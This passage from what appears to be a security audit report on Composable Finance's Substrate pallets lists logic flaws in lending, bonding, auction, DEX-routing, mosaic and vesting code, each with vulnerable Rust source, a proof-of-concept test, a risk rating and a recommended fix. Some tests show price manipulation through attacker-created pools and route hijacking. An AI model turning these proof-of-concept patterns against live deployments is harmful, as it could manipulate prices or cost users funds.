↳ (&market_id, &BOB);
147         let charlie_collateral_amount = Lending::
↳ collateral_of_account(&market_id, &CHARLIE);
148
149
150         println!("AFTER LIQUIDATE market total cash: {:?}" ,
↳ market_total_cash);
151
152         println!("AFTER LIQUIDATE BOB collateral amount: {:?}" ,
↳ bob_collateral_amount);
153         println!("AFTER LIQUIDATE CHARLIE collateral amount: {:?}"
↳ , charlie_collateral_amount);
154
155         println!("AFTER LIQUIDATE market account reversed USDT
↳ balance: {:?}" , Tokens::reserved_balance(USDT::ID, &market_account
↳ ));
156         println!("***");

```

```
157     });  
158 }
```

**Risk Level:****Likelihood - 5****Impact - 5****Recommendation:**

It is recommended to use the collateral factor of the time the borrowing takes place, not the market's latest collateral factor, since it can be edited.

### 3.4 (HAL-04) OFFER CREATION WITH THE SAME ASSET - HIGH

#### Description:

Inside the `bonded-finance` pallet, the `do_offer` function accepts offers with the same asset as both the offer's asset and the offer's reward asset.

This can result in situations when a victim pays, for example, 1000 tokens to get 100 tokens of the same type.

#### Code Location:

Listing 11: `frame/bonded-finance/src/lib.rs`

```

328 #[transactional]
329 pub fn do_offer(
330     from: &AccountIdOf<T>,
331     offer: BondOfferOf<T>,
332     keep_alive: bool,
333 ) -> Result<T::BondOfferId, DispatchError> {
334     let offer_id = BondOfferCount::<T>::try_mutate(
335         |offer_id| -> Result<T::BondOfferId, DispatchError> {
336             *offer_id = offer_id.safe_add(&T::BondOfferId::one())
337             ↪ ?;
338             Ok(*offer_id)
339         },
340     )?;
341     let offer_account = Self::account_id(offer_id);
342     T::NativeCurrency::transfer(from, &offer_account, T::Stake::
343     ↪ get(), keep_alive)?;
344     T::Currency::transfer(
345         offer.reward.asset,
346         from,
347         &offer_account,
348         offer.reward.amount,
349         keep_alive,
350     )?;
351     BondOffers::<T>::insert(offer_id, (from.clone(), offer));

```

```

350     Self::deposit_event(Event::::NewOffer { offer_id });
351     Ok(offer_id)
352 }

```

### Proof Of Concept:

#### Listing 12

```

1  #[test]
2  fn halborn_test(_does_not_matter_offer in simple_offer(1)) {
3      ExtBuilder::build().execute_with(|| {
4          System::set_block_number(1);
5          let offer = BondOffer {
6              beneficiary: ALICE,
7              asset: mock::MockCurrencyId::BTC,
8              bond_price: 1_000_000 + MIN_VESTED_TRANSFER as u128,
9              nb_of_bonds: 1,
10             maturity: BondDuration::Infinite,
11             reward: BondOfferReward {
12                 asset: mock::MockCurrencyId::BTC,
13                 amount: 1_000_000,
14                 maturity: 96_u64,
15             },
16         };
17         assert_ok!(<ValidBondOffer<MinReward, MinVestedTransfer>
↳ as Validate<
18             BondOfferOf<Runtime>,
19             ValidBondOffer<MinReward, MinVestedTransfer>,
20             >>::validate(offer.clone()));
21         prop_assert_ok!(Tokens::mint_into(NATIVE_CURRENCY_ID, &
↳ ALICE, Stake::get()));
22         prop_assert_ok!(Tokens::mint_into(mock::MockCurrencyId::
↳ BTC, &ALICE, offer.reward.amount));
23         prop_assert_ok!(Tokens::mint_into(mock::MockCurrencyId::
↳ BTC, &BOB, 2 * 1_000_000));
24         let alice_balance = Tokens::balance(mock::MockCurrencyId::
↳ BTC, &ALICE);
25         let bob_balance = Tokens::balance(mock::MockCurrencyId::
↳ BTC, &BOB);
26         println!("-----");
27         println!("BEFORE OFFER");
28         println!("ALICE'S BALANCE: {} | BOB'S BALANCE: {}",

```



```

↳ alice_balance, bob_balance);
29
30     let offer_id = BondedFinance::do_offer(&ALICE, offer.clone
↳ (), false);
31     prop_assert_ok!(offer_id);
32     let offer_id = offer_id.expect("impossible; qed");
33     prop_assert_ok!(BondedFinance::bond(Origin::signed(BOB),
↳ offer_id, 1, false));
34
35     System::assert_has_event(Event::BondedFinance(crate::Event
↳ ::NewBond {
36         offer_id,
37         who: BOB,
38         nb_of_bonds: 1
39     }));
40     System::assert_last_event(Event::BondedFinance(crate::
↳ Event::OfferCompleted { offer_id }));
41     let alice_balance = Tokens::balance(mock::MockCurrencyId::
↳ BTC, &ALICE);
42     let bob_balance = Tokens::balance(mock::MockCurrencyId::
↳ BTC, &BOB);
43     println!("AFTER BOND");
44     println!("ALICE'S BALANCE: {} | BOB'S BALANCE: {}",
↳ alice_balance, bob_balance);
45     Ok(())
46 }?;
47 }

```

Risk Level:

**Likelihood - 5**

**Impact - 3**

Recommendation:

Implementing a validation mechanism in the `offer` function is recommended, which will ensure that offers with the same token provided as the offer's asset and offer's reward asset are not accepted.

### 3.5 (HAL-05) DUTCH AUCTION CREATION WITH THE SAME ASSET - HIGH

#### Description:

Inside the `dutch-auction` pallet `ask` function accepts sell offers with the same asset provided as both base and quote.

This can result in situations when a victim pays, for example, 1000 tokens to get 100 tokens of the same type.

#### Code Location:

Listing 13: `frame/dutch-auction/src/lib.rs`

```

273 fn ask(
274     from_to: &Self::AccountId,
275     order: Sell<Self::MaybeAssetId, Self::Balance>,
276     configuration: TimeReleaseFunction,
277 ) -> Result<Self::OrderId, DispatchError> {
278     ensure!(order.is_valid(), Error::::OrderParametersIsInvalid
↳ ,);
279     let order_id = <OrdersIndex<T>>::mutate(|x| {
280         *x = x.next();
281         // in case of wrapping, will need to check existence of
↳ order/takes
282         *x
283     });
284     let treasury = &T::PalletId::get().into_account();
285     let deposit = T::PositionExistentialDeposit::get();
286     <T::NativeCurrency as NativeTransfer<T::AccountId>>::transfer(
287         from_to, treasury, deposit, true,
288     )?;
289
290     let now = T::UnixTime::now().as_secs();
291     let order = SellOf:: {
292         from_to: from_to.clone(),
293         configuration,
294         order,
295         context: Context:: { added_at: now, deposit

```

```

    ↪ },
296     };
297
298     T::MultiCurrency::reserve(order.order.pair.base, from_to,
    ↪ order.order.take.amount)?;
299     SellOrders::<T>::insert(order_id, order);
300
301     Ok(order_id)
302 }

```

### Proof Of Concept:

#### Listing 14

```

1  #[test]
2  fn halborn_tests_same_pair_auction() {
3      new_test_externalities().execute_with(|| {
4          Tokens::mint_into(BTC, &ALICE, 10000).unwrap();
5          Tokens::mint_into(BTC, &BOB, 10000).unwrap();
6
7          let alice_balance_before_auction = Tokens::balance(BTC, &
    ↪ ALICE);
8          let bob_balance_before_auction = Tokens::balance(BTC, &BOB
    ↪ );
9          println!("Alice balance before auction = {}",
    ↪ alice_balance_before_auction);
10         println!("Bob balance before auction = {}",
    ↪ bob_balance_before_auction);
11
12         let seller = AccountId::from_raw(ALICE.0);
13         let buyer = AccountId::from_raw(BOB.0);
14
15         let sell_amount: u128 = 100;
16         let take_amount = 10;
17
18         let sell_offer = Sell::new(BTC, BTC, sell_amount, fixed(
    ↪ take_amount));
19         let configuration = TimeReleaseFunction::LinearDecrease(
    ↪ LinearDecrease { total: 10 });
20
21         let ask_result = DutchAuction::ask(Origin::signed(seller),
    ↪ sell_offer, configuration);

```

```

22
23     assert!(ask_result.is_ok());
24
25     let order_id = crate::OrdersIndex::<Runtime>::get();
26     let result = DutchAuction::take(
27         Origin::signed(buyer),
28         order_id,
29         Take::new(sell_amount, fixed(take_amount)),
30     );
31
32     assert!(result.is_ok());
33     DutchAuction::on_finalize(42);
34
35     let alice_balance_after_auction = Tokens::balance(BTC, &
↳ ALICE);
36     let bob_balance_after_auction = Tokens::balance(BTC, &BOB)
↳ ;
37     println!("Alice balance after auction = {}",
↳ alice_balance_after_auction);
38     println!("Bob balance after auction = {}",
↳ bob_balance_after_auction);
39     });
40 }

```

Risk Level:

**Likelihood - 5**

**Impact - 3**

Recommendation:

Implementing a validation mechanism in the 'ask' function is recommended to ensure that the base asset is not the same as the quote asset.

### 3.6 (HAL-06) COLLATERAL FACTOR CAN BE SET SMALLER THAN TWO – MEDIUM

#### Description:

Inside the `lending` pallet, the `update_market` function allows the market owner to update the collateral factor smaller than or equal to one.

This may also result in different types of vulnerabilities.

#### Code Location:

Listing 15: `frame/lending/src/lib.rs` (Line 582)

```

569     pub fn update_market(
570         origin: OriginFor<T>,
571         market_id: MarketIndex,
572         input: UpdateInput<T::LiquidationStrategyId>,
573     ) -> DispatchResultWithPostInfo {
574         let who = ensure_signed(origin)?;
575         Markets::<T>::mutate(&market_id, |market| {
576             if let Some(market) = market {
577                 ensure!(who == market.manager, Error::<T>::
↳ Unauthorized);
578
579                 market.collateral_factor = input.
↳ collateral_factor;
580                 market.interest_rate_model = input.
↳ interest_rate_model;
581                 market.under_collateralized_warn_percent = input
↳ .under_collateralized_warn_percent;
582                 market.liquidators = input.liquidators.clone()
↳ ;
583                 Ok(())
584             } else {
585                 Err(Error::<T>::MarketDoesNotExist)
586             }
587         });
588         Self::deposit_event(Event::<T>::MarketUpdated {
↳ market_id, input });
588         Ok(().into())

```

## Proof Of Concept:

Listing 16

```

1 #[test]
2 fn collateral_factor_update_test() {
3     new_test_ext().execute_with(|| {
4         System::set_block_number(1);
5         let (market_id, _vault_id) = create_simple_market();
6         let expected = 50_000 * USD::one();
7         set_price(BTC::ID, expected); set_price(USD::ID, USD::
↳ one());
8         //Update collateral factor smaller than 1
9         let collateral_factor = MoreThanOneFixedU128::
↳ saturating_from_rational(50, 100);
10        let updatable = UpdateInput {
11            collateral_factor,
12            under_collateralized_warn_percent: Percent::from_float
↳ (1.1),
13            liquidators: vec![],
14            interest_rate_model: InterestRateModel::default(),
15        };
16        let updated = Lending::update_market(Origin::signed(*ALICE
↳ ), market_id, updatable);
17        assert_ok!(updated);
18        println!("Markets collateral factor is update from 2 to :
↳ {:?}", collateral_factor);
19    });
20 }

```

## Risk Level:

Likelihood - 4

Impact - 3

## Recommendation:

It is recommended to implement checks in `update_market` function to ensure collateral factor is updated higher than one.

## 3.7 (HAL-07) MISSING ACCESS CONTROL LEADS TO PRICE MANIPULATION – LOW

### Description:

Inside the `uniswap` and `curv-amm` pallets, the `create` function calls `do_create_pool` without restrictions, allowing anyone to create a pool of arbitrary pairs, which leads to a price manipulation risk.

`dex-router` pallet auditing where the `update_route` allows the caller to create, update or delete existing routers, the function was found to lack implementing a custom origin to restrict access to this function. However, the function is not public, but we're not sure if the composable team is planning to use it in the future.

An attacker can abuse those two bugs to develop attacks that might result in price manipulation.

### Code Location:

#### Listing 17: TODO

```
1 #[pallet::weight(T::WeightInfo::create())]
2 pub fn create(
3     origin: OriginFor<T>,
4     pair: CurrencyPair<T::AssetId>,
5     fee: Permill,
6     owner_fee: Permill,
7 ) -> DispatchResult {
8     let who = ensure_signed(origin)?;
9     let _ = Self::do_create_pool(&who, pair, fee, owner_fee)?;
10    Ok(())
11 }
```

#### Listing 18

```
1 fn update_route(
2     who: &T::AccountId,
3     asset_pair: CurrencyPair<T::AssetId>,
```

```

4     route: Option<BoundedVec<DexRouteNode<T::PoolId>, T::
↳ MaxHopsInRoute>>,
5 ) -> Result<(), DispatchError> {
6     match route {
7         Some(bounded_route) => Self::do_update_route(who,
↳ asset_pair, bounded_route)?,
8         None => Self::do_delete_route(who, asset_pair)?,
9     }
10    Ok(())
11 }

```

### Proof Of Concept:

Using the `create` function, an attacker can create a malicious pool with an arbitrary token against a valuable asset such as TEST/ETH.

Once the pool is created using `update_route`, an attacker can update the route for important trading pairs such as ETH/USDT so any trade going to be executed through that router and complete transactions in the context of the malicious pool, allowing the attacker to manipulate the ETH price.

### Listing 19: TODO

```

1 #[test]
2 fn halborn_tests() {
3     new_test_ext().execute_with(|| {
4         let currency_pair = CurrencyPair { base: ETH, quote: USDT
↳ };
5         let unit = 1_000_000_000_000_u128;
6         let bad_actor_usdt_balance = 100 * unit;
7         let bad_actor_badhack_balance = 200 * unit;
8         let bad_actor_eth_balance = 3 * unit;
9         let BADHACK: CurrencyId = 22;
10        let ATTACKER: AccountId = 111;
11        // mint
12        Tokens::mint_into(BADHACK, &ATTACKER,
↳ bad_actor_badhack_balance);
13        Tokens::mint_into(ETH, &ATTACKER, bad_actor_eth_balance);
14        Tokens::mint_into(USDT, &ATTACKER, bad_actor_usdt_balance)
↳ ;
15        // Create First pool BADHACK/USDT

```



```

16         let attacker_pool_badusdt = ConstantProductAmm::
↳ do_create_pool(&ATTACKER, CurrencyPair::new(BADHACK, USDT),
↳ Permill::zero(), Permill::zero()).unwrap();
17         // println!(" attacker created pool {:?} ",
↳ attacker_pool_badusdt);
18         // Create 2th pool BADHACK/ETH
19         let attacker_pool_badeth = ConstantProductAmm::
↳ do_create_pool(&ATTACKER, CurrencyPair::new(BADHACK, ETH), Permill
↳ ::zero(), Permill::zero()).unwrap();
20         // println!(" attacker created pool {:?} ",
↳ attacker_pool_badeth);
21         // Add liquidity 100 BADHACK / 50 USDT
22         ConstantProductAmm::add_liquidity(&ATTACKER,
↳ attacker_pool_badusdt, 100 * unit, 50 * unit, 0_u128, true);
23         // Add liquidity 2 BADHACK / 1 ETH
24         ConstantProductAmm::add_liquidity(&ATTACKER,
↳ attacker_pool_badeth, 2 * unit, 1 * unit, 0_u128, true);
25         let dex_route = vec![DexRouteNode::Uniswap(
↳ attacker_pool_badusdt), DexRouteNode::Uniswap(attacker_pool_badeth
↳ ),];
26         assert_ok!(DexRouter::update_route(
27             &ATTACKER,
28             currency_pair,
29             Some(dex_route.clone().try_into().unwrap()) ));
30         assert_eq!(DexRouter::get_route(currency_pair), Some(
↳ dex_route));
31         assert_ok!(DexRouter::exchange(&ATTACKER, currency_pair, 1
↳ _u128 * unit));
32     });
33 }

```

**Risk Level:****Likelihood - 3****Impact - 1****Recommendation:**

It is recommended to restrict access to `update_route` to a specific origin to prevent such risks of malicious pool creation and modifying the routers.

### 3.8 (HAL-08) ASSET MAPPING WITH NON EXISTING ASSET ID - LOW

#### Description:

Inside `mosaic` pallet, `update_asset_mapping` function, does not check if `asset_id` corresponds to an asset which may create problems in the program flow.

#### Code Location:

Listing 20: `frame/mosaic/src/lib.rs` (Line 784)

```

784 pub fn update_asset_mapping(
785     origin: OriginFor<T>,
786     asset_id: AssetIdOf<T>,
787     network_id: NetworkIdOf<T>,
788     remote_asset_id: Option<RemoteAssetIdOf<T>>,
789 ) -> DispatchResultWithPostInfo {
790     T::ControlOrigin::ensure_origin(origin)?;
791     let _ =
792         NetworkInfos::::get(network_id.clone()).ok_or(Error::
↳ >::UnsupportedNetwork)?;
793     let entry = LocalToRemoteAsset::::try_get(asset_id,
↳ network_id.clone()).ok();
794     match (entry, remote_asset_id) {
795         // remove an non-existent entry.
796         (None, None) => {},
797         // insert a new entry.
798         (None, Some(remote_asset_id)) => {
799             LocalToRemoteAsset::::insert(
800                 asset_id,
801                 network_id.clone(),
802                 remote_asset_id.clone(),
803             );
804             RemoteToLocalAsset::::insert(
805                 remote_asset_id.clone(),
806                 network_id.clone(),
807                 asset_id,
808             );
809     }

```

Proof Of Concept:

Listing 21: TODO

```
1 #[test]
2 fn update_mapping_with_nonexistent_assetid() {
3     new_test_ext().execute_with(|| {
4         initialize();
5
6         let non_exist_assetid = 12345678;
7
8         let remote_asset_id = [0xFFu8; 20];
9         assert_ok!(Mosaic::update_asset_mapping(
10             Origin::root(),
11             non_exist_assetid,
12             1,
13             Some(remote_asset_id)
14         ));
15     })
16 }
```

Risk Level:

Likelihood - 2

Impact - 2

Recommendation:

It is recommended to add checks to ensure the `asset_id` exists.

### 3.9 (HAL-09) MISSING 'transactional' MACRO - LOW

#### Description:

Inside the `dex-router` pallet, `exchange` and `buy` functions are looping through the route nodes and executing `ConstantProductDex::exchange` or `StableSwapDex::exchange`.

One of those functions might return an error during exchanging tokens, so during the route operation, the user might lose funds without reaching the objective, i.e. (exchange first pairs in route and fails to exchange the second pair due to any reason might case `exchange` to fail).

#### Code Location:

Listing 22: `frame/dex-router/src/lib.rs`

```
217 // TODO: expected minimum value can be provided from input
    ↳ parameter.
218 fn exchange(
219     who: &T::AccountId,
220     asset_pair: CurrencyPair<T::AssetId>,
221     dx: T::Balance,
222 ) -> Result<T::Balance, DispatchError> {
223     let route = Self::get_route(asset_pair).ok_or(Error::::::
    ↳ NoRouteFound)?;
224     let mut dx_t = dx;
225     let mut dy_t = T::Balance::zero();
226     for route_node in &route {
227         match route_node {
228             DexRouteNode::Curve(pool_id) => {
229                 let currency_pair = T::StableSwapDex::
    ↳ currency_pair(*pool_id)?;
230                 dy_t = T::StableSwapDex::exchange(
231                     who,
232                     *pool_id,
233                     currency_pair,
234                     dx_t,
235                     T::Balance::zero(),
```

```

236         true,
237     )?;
238     dx_t = dy_t;
239 },
240     DexRouteNode::Uniswap(pool_id) => {
241         let currency_pair = T::ConstantProductDex::
242         ↳ currency_pair(*pool_id)?;
243         dy_t = T::ConstantProductDex::exchange(
244             who,
245             *pool_id,
246             currency_pair,
247             dx_t,
248             T::Balance::zero(),
249             true,
250         )?;
251         dx_t = dy_t;
252     },
253 }
254 Ok(dy_t)
255 }

```

Listing 23: frame/dex-router/src/lib.rs

```

265 fn buy(
266     who: &T::AccountId,
267     asset_pair: CurrencyPair<T::AssetId>,
268     amount: T::Balance,
269 ) -> Result<T::Balance, DispatchError> {
270     let route = Self::get_route(asset_pair).ok_or(Error::::
271     ↳ NoRouteFound)?;
272     let mut dy_t = amount;
273     let mut dx_t = T::Balance::zero();
274     for route_node in route.iter().rev() {
275         match route_node {
276             DexRouteNode::Curve(pool_id) => {
277                 let currency_pair = T::StableSwapDex::
278                 ↳ currency_pair(*pool_id)?;
279                 dx_t = T::StableSwapDex::get_exchange_value(
280                     *pool_id,
281                     currency_pair.base,
282                     dy_t,
283                 )?;
284                 dy_t = dx_t;

```

```

283         },
284         DexRouteNode::Uniswap(pool_id) => {
285             let currency_pair = T::ConstantProductDex::
286             ↳ currency_pair(*pool_id)?;
287             dx_t = T::ConstantProductDex::get_exchange_value(
288                 *pool_id,
289                 currency_pair.base,
290                 dy_t,
291             )?;
292             dy_t = dx_t;
293         },
294     }
295     for route_node in route {
296         match route_node {
297             DexRouteNode::Curve(pool_id) => {
298                 let currency_pair = T::StableSwapDex::
299                 ↳ currency_pair(pool_id)?;
300                 let dy_t = T::StableSwapDex::exchange(
301                     who,
302                     pool_id,
303                     currency_pair,
304                     dx_t,
305                     T::Balance::zero(),
306                     true,
307                 )?;
308                 dx_t = dy_t;
309             },
310             DexRouteNode::Uniswap(pool_id) => {
311                 let currency_pair = T::ConstantProductDex::
312                 ↳ currency_pair(pool_id)?;
313                 let dy_t = T::ConstantProductDex::exchange(
314                     who,
315                     pool_id,
316                     currency_pair,
317                     dx_t,
318                     T::Balance::zero(),
319                     true,
320                 )?;
321                 dx_t = dy_t;
322             },
323         }
324     }
325     Ok(dx_t)

```

324 }

## Proof Of Concept:

## Listing 24

```

1 #[test]
2 fn halborn_tests() {
3     new_test_ext().execute_with(|| {
4
5         let currency_pair = CurrencyPair { base: ETH, quote: USDT
↳ };
6
7
8         let unit = 1_000_000_000_000_u128;
9
10        let BOBMOB: AccountId = 222;
11        let KING: AccountId = 333;
12
13        // mint
14        Tokens::mint_into(ETH, &KING, 1000 * unit);
15        Tokens::mint_into(USDC, &KING, 1000 * unit);
16        Tokens::mint_into(ETH, &BOBMOB, 100 * unit);
17        Tokens::mint_into(USDC, &BOBMOB, 100 * unit);
18
19        let p1 = ConstantProductAmm::do_create_pool(&KING,
↳ CurrencyPair::new(ETH, USDC), Permill::zero(), Permill::zero()).
↳ unwrap();
20        let p2 = ConstantProductAmm::do_create_pool(&KING,
↳ CurrencyPair::new(USDC, USDT), Permill::zero(), Permill::zero()).
↳ unwrap();
21        ConstantProductAmm::add_liquidity(
22            &KING, p1, 10 * unit, 500 * unit, 0_u128, true
23        );
24        ConstantProductAmm::add_liquidity(
25            &KING, p2, 200 * unit, 200 * unit, 0_u128, true
26        );
27        let dex_route = vec![
28            DexRouteNode::Uniswap(p1),
29            DexRouteNode::Uniswap(p2),
30        ];
31        assert_ok!(DexRouter::update_route(

```

```
32         &KING,  
33         currency_pair,  
34         Some(dex_route.clone().try_into().unwrap())  
35     ));  
36     assert_eq!(DexRouter::get_route(currency_pair), Some(  
↳ dex_route));  
37     DexRouter::exchange(&BOBMOB, currency_pair, 10_u128 * unit  
↳ );  
38     });  
39 }
```

#### Risk Level:

**Likelihood - 2**

**Impact - 2**

#### Recommendation:

It is recommended to add `transactional` macro to buy and exchange functions and functions going through several transactions to avoid funds loss; another prevention that can be applied is to calculate whatever the user owns the required amount to exchange for each pair in the route.



### 3.10 (HAL-10) VESTING TRANSFER TO CALLER ACCOUNT - LOW

#### Description:

Inside `vesting` pallet, `vested_transfer` function allows you to vesting transfer to the caller account itself.

#### Code Location:

Listing 25: `frame/vesting/src/lib.rs`

```

249 pub fn vested_transfer(
250     origin: OriginFor<T>,
251     from: <T::Lookup as StaticLookup>::Source,
252     beneficiary: <T::Lookup as StaticLookup>::Source,
253     asset: AssetIdOf<T>,
254     schedule: VestingScheduleOf<T>,
255 ) -> DispatchResult {
256     T::VestedTransferOrigin::ensure_origin(origin)?;
257     let from = T::Lookup::lookup(from)?;
258     let to = T::Lookup::lookup(beneficiary)?;
259     <Self as VestedTransfer>::vested_transfer(asset, &from, &to,
↳ schedule.clone())?;
260
261     Self::deposit_event(Event::VestingScheduleAdded { from, to,
↳ asset, schedule });
262     Ok(())
263 }

```

#### Proof Of Concept:

Listing 26

```

1 #[test]
2 fn vested_transfer_transfer_to_same_account() {
3     ExtBuilder::build().execute_with(|| {
4         System::set_block_number(1);

```

```

5
6     let schedule = VestingSchedule {
7         start: 0_u64,
8         period: 10_u64,
9         period_count: 1_u32,
10        per_period: 100_u64,
11    };
12    assert_ok!(Vesting::vested_transfer(
13        Origin::signed(ALICE),
14        ALICE,
15        MockCurrencyId::BTC,
16        schedule.clone(),
17    ));
18
19    assert_eq!(Vesting::vesting_schedules(&ALICE,
↳ MockCurrencyId::BTC), vec![schedule.clone()]);
20    System::assert_last_event(Event::Vesting(crate::Event::
↳ VestingScheduleAdded {
21        from: ALICE,
22        to: ALICE,
23        asset: MockCurrencyId::BTC,
24        schedule,
25    }));
26
27    assert_ok!(Vesting::claim(Origin::signed(ALICE),
↳ MockCurrencyId::BTC));
28    });
29 }

```

**Risk Level:**

**Likelihood - 2**

**Impact - 2**

**Recommendation:**

It is recommended to add checks to ensure the caller account is not identical with the vesting destination.

## 3.11 (HAL-11) DUPLICATE ROUTES ALLOWED - LOW

### Description:

Inside `dex-router` pallet, `update_route` function is accepting duplicate routes.

### Code Location:

Listing 27: `frame/dex-router/src/lib.rs` (Line 133)

```
133 fn do_update_route(
134     who: &T::AccountId,
135     asset_pair: CurrencyPair<T::AssetId>,
136     route: BoundedVec<DexRouteNode<T::PoolId>, T::MaxHopsInRoute>,
137 ) -> Result<(), DispatchError> {
138     let k1 = asset_pair.base;
139     let k2 = asset_pair.quote;
140     for r in route.as_slice() {
141         match r {
142             DexRouteNode::Curve(pool_id) => {
143                 ensure!(
144                     T::StableSwapDex::pool_exists(*pool_id),
145                     Error::::PoolDoesNotExist
146                 )
147             },
148             DexRouteNode::Uniswap(pool_id) => {
149                 ensure!(
150                     T::ConstantProductDex::pool_exists(*pool_id),
151                     Error::::PoolDoesNotExist
152                 )
153             },
154         }
155     }
156     let existing_route = DexRoutes::::get(k1, k2);
157     DexRoutes::::insert(k1, k2, DexRoute::Direct(route.clone()));
158     ↳ );
159     let event = match existing_route {
160         Some(DexRoute::Direct(old_route)) => Event::RouteUpdated {
```

```

161         who: who.clone(),
162         x_asset_id: k1,
163         y_asset_id: k2,
164         old_route: old_route.into_inner(),
165         updated_route: route.to_vec(),
166     },
167     None => Event::RouteAdded {
168         who: who.clone(),
169         x_asset_id: k1,
170         y_asset_id: k2,
171         route: route.to_vec(),
172     },
173 };
174 Self::deposit_event(event);
175 Ok(())
176 }

```

Proof Of Concept:

#### Listing 28

```

1  #[test]
2  fn halborn_tests() {
3      new_test_ext().execute_with(|| {
4
5          let currency_pair = CurrencyPair { base: ETH, quote: USDT
↳ };
6          let unit = 1_000_000_000_000_u128;
7          let ATTACKER: AccountId = 111;
8
9          // mint
10         Tokens::mint_into(XRP, &ATTACKER, 100 * unit);
11         Tokens::mint_into(ETH, &ATTACKER, 100 * unit);
12         Tokens::mint_into(SOL, &ATTACKER, 100 * unit);
13         Tokens::mint_into(USDC, &ATTACKER, 100 * unit);
14         Tokens::mint_into(BTC, &ATTACKER, 100 * unit);
15
16         let p1 = ConstantProductAmm::do_create_pool(&ATTACKER,
↳ CurrencyPair::new(XRP, ETH), Permill::zero(), Permill::zero()).
↳ unwrap();
17         let p2 = ConstantProductAmm::do_create_pool(&ATTACKER,
↳ CurrencyPair::new(SOL, USDC), Permill::zero(), Permill::zero()).

```

```

↳ unwrap();
18
19     ConstantProductAmm::add_liquidity(
20         &ATTACKER, p1, 50 * unit, 50 * unit, 0_u128, true
21     );
22     ConstantProductAmm::add_liquidity(
23         &ATTACKER, p2, 50 * unit, 50 * unit, 0_u128, true
24     );
25
26     let dex_route = vec![
27         DexRouteNode::Uniswap(p1),
28         DexRouteNode::Uniswap(p1),
29         DexRouteNode::Uniswap(p2),
30         DexRouteNode::Uniswap(p2),
31     ];
32     assert_ok!(DexRouter::update_route(
33         &ATTACKER,
34         currency_pair,
35         Some(dex_route.clone().try_into().unwrap())
36     ));
37     assert_eq!(DexRouter::get_route(currency_pair), Some(
↳ dex_route));
38     assert_ok!(DexRouter::exchange(&ATTACKER, currency_pair, 1
↳ _u128 * unit));
39
40     });
41 }

```

Risk Level:

**Likelihood - 2**

**Impact - 2**

Recommendation:

It is recommended to check whether the route exists or not.

## 3.12 (HAL-12) UPDATE/CREATE ROUTES WITH NON-EXISTING TOKENS - LOW

### Description:

Inside the `dex-router` pallet, the `update_route` function does not check if the tokens are not related to the trading currency pairs or not.

Example: ETH/USDT route can be updated to go through TNK/USDC, then BAD/USDC; the trade will never get executed, so basically, a user might go to trade ETH/USDT, but in the backend, the user will get exchanged for non-related tokens.

### Code Location:

Listing 29: `frame/dex-router/src/lib.rs`

```

133 fn do_update_route(
134     who: &T::AccountId,
135     asset_pair: CurrencyPair<T::AssetId>,
136     route: BoundedVec<DexRouteNode<T::PoolId>, T::MaxHopsInRoute>,
137 ) -> Result<(), DispatchError> {
138     let k1 = asset_pair.base;
139     let k2 = asset_pair.quote;
140     for r in route.as_slice() {
141         match r {
142             DexRouteNode::Curve(pool_id) => {
143                 ensure!(
144                     T::StableSwapDex::pool_exists(*pool_id),
145                     Error::::PoolDoesNotExist
146                 )
147             },
148             DexRouteNode::Uniswap(pool_id) => {
149                 ensure!(
150                     T::ConstantProductDex::pool_exists(*pool_id),
151                     Error::::PoolDoesNotExist
152                 )
153             },
154         }
155     }

```

```

156     let existing_route = DexRoutes::::get(k1, k2);
157
158     DexRoutes::::insert(k1, k2, DexRoute::Direct(route.clone())
↳ );
159     let event = match existing_route {
160         Some(DexRoute::Direct(old_route)) => Event::RouteUpdated {
161             who: who.clone(),
162             x_asset_id: k1,
163             y_asset_id: k2,
164             old_route: old_route.into_inner(),
165             updated_route: route.to_vec(),
166         },
167         None => Event::RouteAdded {
168             who: who.clone(),
169             x_asset_id: k1,
170             y_asset_id: k2,
171             route: route.to_vec(),
172         },
173     };
174     Self::deposit_event(event);
175     Ok(())
176 }

```

#### Proof Of Concept:

##### Listing 30

```

1  #[test]
2  fn halborn_tests() {
3      new_test_ext().execute_with(|| {
4
5          let currency_pair = CurrencyPair { base: ETH, quote: USDT
↳ };
6          let unit = 1_000_000_000_000_u128;
7          let ATTACKER: AccountId = 111;
8
9          // mint
10         Tokens::mint_into(XRP, &ATTACKER, 100 * unit);
11         Tokens::mint_into(ETH, &ATTACKER, 100 * unit);
12         Tokens::mint_into(SOL, &ATTACKER, 100 * unit);
13         Tokens::mint_into(USDC, &ATTACKER, 100 * unit);
14         Tokens::mint_into(BTC, &ATTACKER, 100 * unit);

```

```

15
16     let p1 = ConstantProductAmm::do_create_pool(&ATTACKER,
↳ CurrencyPair::new(XRP, BTC), Permill::zero(), Permill::zero()).
↳ unwrap();
17     let p2 = ConstantProductAmm::do_create_pool(&ATTACKER,
↳ CurrencyPair::new(SOL, USDC), Permill::zero(), Permill::zero()).
↳ unwrap();
18
19     ConstantProductAmm::add_liquidity(
20         &ATTACKER, p1, 50 * unit, 50 * unit, 0_u128, true
21     );
22     ConstantProductAmm::add_liquidity(
23         &ATTACKER, p2, 50 * unit, 50 * unit, 0_u128, true
24     );
25
26     let dex_route = vec![
27         DexRouteNode::Uniswap(p1),
28         DexRouteNode::Uniswap(p2),
29     ];
30     assert_ok!(DexRouter::update_route(
31         &ATTACKER,
32         currency_pair,
33         Some(dex_route.clone().try_into().unwrap())
34     ));
35     assert_eq!(DexRouter::get_route(currency_pair), Some(
↳ dex_route));
36     assert_ok!(DexRouter::exchange(&ATTACKER, currency_pair, 1
↳ _u128 * unit));
37
38     });
39 }

```

Risk Level:

Likelihood - 2

Impact - 2

Recommendation:

It is recommended to check whether the route will be created related to the currency pairs or not; consider the following steps to fix this issue



- create a BTreeMap
- insert the pools pairs to the BTreeMap object
- apply the following checks

Listing 31

```
1 ensure!(treemap.contains_key(&pair.base), Error::<T, I>::  
↳ UnrelatedToken);  
2 ensure!(treemap.contains_key(&pair.quote), Error::<T, I>::  
↳ UnrelatedToken);
```

### 3.13 (HAL-13) CREATE DUPLICATE POOL WITH SAME PAIR - LOW

#### Description:

Inside `uniswap-v2` pallet, the `do_create_pool` function lacks existing pool validation, allowing the creation of multiple pools with the same pairs.

#### Code Location:

Listing 32: `frame/uniswap-v2/src/lib.rs`

```

583 pub fn do_create_pool(
584     who: &T::AccountId,
585     pair: CurrencyPair<T::AssetId>,
586     fee: Permill,
587     owner_fee: Permill,
588 ) -> Result<T::PoolId, DispatchError> {
589     // NOTE(hussein-aitlahcen): do we allow such pair?
590     ensure!(pair.base != pair.quote, Error::::InvalidPair);
591
592     let total_fees = fee.checked_add(&owner_fee).ok_or(
593         ↳ ArithmeticError::Overflow)?;
